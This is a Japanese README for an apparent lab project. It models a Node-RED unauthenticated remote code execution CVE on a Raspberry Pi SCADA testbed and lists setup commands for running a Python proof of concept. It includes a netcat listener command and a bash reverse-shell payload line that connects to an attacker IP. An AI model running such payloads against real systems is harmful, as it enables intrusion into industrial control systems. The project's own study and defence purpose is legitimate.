
このプロジェクトは、NodeRED向けの認証なしリモートコード実行脆弱性である CVE-2025-41656 をモデル化するために存在します。この脆弱性をモデル化するために、ラズベリーパイ、アクチュエータ、センサーを使用した小型フォームファクタのSCADAシステムを作成しました。ラズベリーパイにはNodeREDとOpenPLCのコンテナが含まれており、Modbus TCPを介して通信し、アクチュエータを制御します。これは、CVE-2025-41656攻撃を実行するためのPython概念実証スクリプトです。目標は、PoCを正常に作成し、システムを保護するための対策を見つけることです。
git clone [email protected]:wallyschag/CVE-2025-41656.git
cd CVE-2025-41656
git clone https://github.com/thiagoralves/OpenPLC_v3.git
rm OpenPLC_v3/Dockerfile && cp Dockerfile_WiringPi OpenPLC_v3/Dockerfile
docker compose up --build -d
docker container ls
docker network inspect csci587-final-project_scadanet
nc -lvnp 1234 を実行してくださいcve_2025_41656.py 内の NODE_RED_IP と NODE_RED_PORT を、NodeRED サービスの IP アドレスとポート (1880) に変更してください。cve_2025_41656 内の行 "command": "bash -c 'bash -i >& /dev/tcp/192.168.4.223/1234 0>&1'", の IP アドレスを、エクスプロイトを起動するマシンの IP アドレスに変更してください。python3 cve_2025_41656.py